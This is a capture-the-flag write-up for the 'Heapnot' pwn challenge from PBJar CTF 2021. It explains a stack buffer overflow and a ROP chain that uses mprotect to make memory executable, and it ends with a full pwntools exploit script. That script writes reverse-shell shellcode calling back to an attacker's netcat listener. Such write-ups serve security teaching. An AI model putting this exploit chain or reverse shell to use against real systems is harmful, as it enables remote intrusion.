Tags: pwn 

Rating: 5.0

**Heapnot**,

was a challenge from PBJar.CTF.2021 written by Rythm (great challenge creator..)

and it was funny & tricky...I did firstblood on it, and it only has 2 solves after 48hours of ctf...so not so easy...

let's check protections first.

![](https://github.com/nobodyisnobody/write-ups/raw/main/PBjar.CTF.2021/pwn/Heapnot/pics/checksec.png)

well , when we launch the program it show a classical heap exploitation menu... add, free, show, etc...

but, as it name implies, it's not about heap :)

let's reverse it..

![](https://github.com/nobodyisnobody/write-ups/raw/main/PBjar.CTF.2021/pwn/Heapnot/pics/reverse1.png)

so well it looks like a heap challenge, let's check this menu function, a char nptr[44] is defined on stack, and passed as an argument to the menu() function..

![](https://github.com/nobodyisnobody/write-ups/raw/main/PBjar.CTF.2021/pwn/Heapnot/pics/reverse2.png)

well..

do you see it? --->> a1[read(0, a1, 0x4000uLL) - 1] = 0

it reads 0x4000 bytes in a 44 byte buffer... nice buffer overflow, and as there is no canary.. should be easy to exploit...

well not so easy..

if you look at the end of stkspace() function, the program close stdin, stdout, and stderr before exiting...

so no way to have a leak of libc.. or anything else...

the best way when a program is totally blind like this, is to do a reverse shellcode that connect back to you.. like this we can have a shell on the remote box.

**First Step:**

As we can not leak libc address we will use a trick to find it..

> we found a gadget "add rax,rdx; jmp rax" in the program, a gadget used by the C switch table generated by gcc..

the idea is to allocate a bloc > 128kb , to have an address mmapped just before libc, returned by malloc in rax,

then we use libcsu gadgets to put the offset we want to jump to in rdx, (and eventually its arguments in rdi,rsi.. )

and call our gadget... like this we can call any function we want in libc, even if we don't really know libc address base..

but there is still a little problem , as we need rdx for the offset of the function, we can not use the 3rd arguments (that is stored in rdx reg)

if we call a libc function.. that's not funny..

So here comes another usefull gadget, in libc this time..

> "mov qword ptr [rdi], rax ; subsd xmm0, xmm1 ; ret" at libc offset 0x3accb

well let's imagine, we allocate a big bloc with malloc (which is in program .plt function), it return us an address just before libc

then we calculate the offset from our libc gadget "mov [rdi],rax" and put this offset in rdx,

then we call libcsu gadget to put correct values in rdx, and rdi, and we call our "add rax,rdx / jmp rax" gadget...that calls "mov [rdi],rax"

it will write back the libc address where we want for later use... so we put a .bss address in rdi.. and do it.

Now we have the libc real address write by our "mov [rdi], rax" gadget in a location on .bss.

we use another very usefull gadget, that is almost always present in 64 bit binaries generated by gcc

> 0x0000000000401198 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret

with this gadget we can add a 32bit value to a memory dword, or if this dword is already at zero, it will act as a write primitive..

we can off course set correct rbp & rbx values, with the libcsu gadgets...

so now we modify our libc address we stored on .bss, and add an offset to it , to change it to mprotect address in libc.

like this we can call it with libcsu gadget, without blocking rdx register, and we will call mprotect to change .bss protection to RWX.

ouff !!!!

**Next Step:**

We use our add/write primitive to write our shellcode on the .bss, that is now executable (RWX)

then next, we jump to our shellcode...

our shellcode, will be a reverse connection shellcode that connect to the IP and PORT we want,

where a "nc -l -p PORT" will wait for connection back...

if you understand nothing of what I said :) just study the exploit code in python...

see it in action..

![](https://github.com/nobodyisnobody/write-ups/raw/main/PBjar.CTF.2021/pwn/Heapnot/pics/gotshell.gif)

the exploit code:

```python3
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = 'error'

def one_gadget(filename, base_addr=0):
return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')]

exe = ELF('./heapnot')
rop = ROP(exe)
libc = ELF('./libc.so.6')

host, port = "143.198.127.103", "42009"

if args.REMOTE:
p = remote(host,port)
else:
p = process(exe.path)

buff = 0x404c00 # a buffer on bss+0xa00 around

# find the various gadget we need
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
gadget_add = next(exe.search(asm('add [rbp-0x3d], ebx')))

gadget_csu = next(exe.search(asm('pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret')))
gadget_csu2 = next(exe.search(asm('mov rdx,r14; mov rsi,r13; mov edi,r12d')))

def add_gadget(gadget_csu, gadget_add, address, val):
return p64(gadget_csu)+p64(val & 0xffffffff)+p64(address+0x3d)+p64(0)*4+p64(gadget_add)

gadget1 = rop.find_gadget(['ret'])[0] # ret
gadget2 = next(exe.search(asm('add rax,rdx; jmp rax;')))

# put the correct address of you listening nc here (IP & port) the port must be reachable from internet
shellc = asm(shellcraft.connect(host='127.0.0.1',port=12490,network='ipv4')+shellcraft.dupsh())

length = len(shellc)
length = (length+3) & 0xffc
shellc = shellc.ljust(length,'\x90')

#libc gadgets, (write primitive)
gl0 = 0x000000000003accb # mov qword ptr [rdi], rax ; subsd xmm0, xmm1 ; ret

# offset in remote docker is a bit different
if args.REMOTE:
offset = 0x25ff0
else:
offset = 0x24ff0

payload = '5 '+'A'*0x2e+p64(0xdeadbeef)
# add ret gadget address to bss
payload += add_gadget(gadget_csu,gadget_add,buff,gadget1)
# copy shellcode to bss with gadget_add
for i in range(length/4):
payload += add_gadget(gadget_csu,gadget_add,buff+8+(i*4), u32(shellc[i*4:(i*4)+4]))
# call malloc to have a near libc address in rax, then jump to mprotect with gadget2
payload += p64(pop_rdi)+p64(140000)+p64(exe.symbols['malloc'])+p64(gadget_csu)+p64(0)+p64(1)+p64(buff-8)+p64(0)+p64(offset + gl0)+p64(buff)+p64(gadget_csu2)+p64(0)*7+p64(gadget2)
payload += add_gadget(gadget_csu,gadget_add, buff-8 , (libc.symbols['mprotect'] - gl0))
payload += p64(gadget_csu)+p64(0)+p64(1)+p64(0x404000)+p64(0x1000)+p64(7)+p64(buff-8)+p64(gadget_csu2)+p64(0)*7
# jump to my shellcode
payload += p64(buff+8)

print('now we send our payload...')
p.sendafter('go!")?\n', payload.ljust(0x4000,'\x00'))

p.interactive()
```

*nobodyisnobody still pwning things..*

Original writeup (https://github.com/nobodyisnobody/write-ups/tree/main/PBjar.CTF.2021/pwn/Heapnot).